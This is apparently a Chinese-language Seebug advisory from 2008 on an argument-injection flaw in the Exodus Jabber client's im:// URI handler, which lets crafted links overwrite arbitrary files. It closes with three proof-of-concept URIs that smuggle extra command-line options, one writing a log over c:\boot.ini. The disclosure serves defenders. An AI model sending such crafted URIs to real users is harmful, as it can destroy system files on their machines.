Exodus im:// URI处理器命令行参数注入漏洞

2008-11-20T00:00:00
ID SSV:4471
Type seebug
Reporter Root
Modified 2008-11-20T00:00:00

Description

BUGTRAQ ID: 32330

Exodus是用Borland Delphi编写的免费即时消息客户端,可连接到Jabber服务器并与其他Jabber用户通讯。

Exodus客户端错误地相信了通过im:// URI所接收到的参数,如果用户受骗跟随了特制的URI的话就可能导致覆盖系统上的任意文件。

Exodus 0.10 Exodus


目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

<a href=http://code.google.com/p/exodus/ target=_blank>http://code.google.com/p/exodus/</a>

                                        
                                            
                                                im:///'%20-?
im:///'%20-l%20c:\boot.ini%20-v
im:///'%20-c%20file:///aaaa%20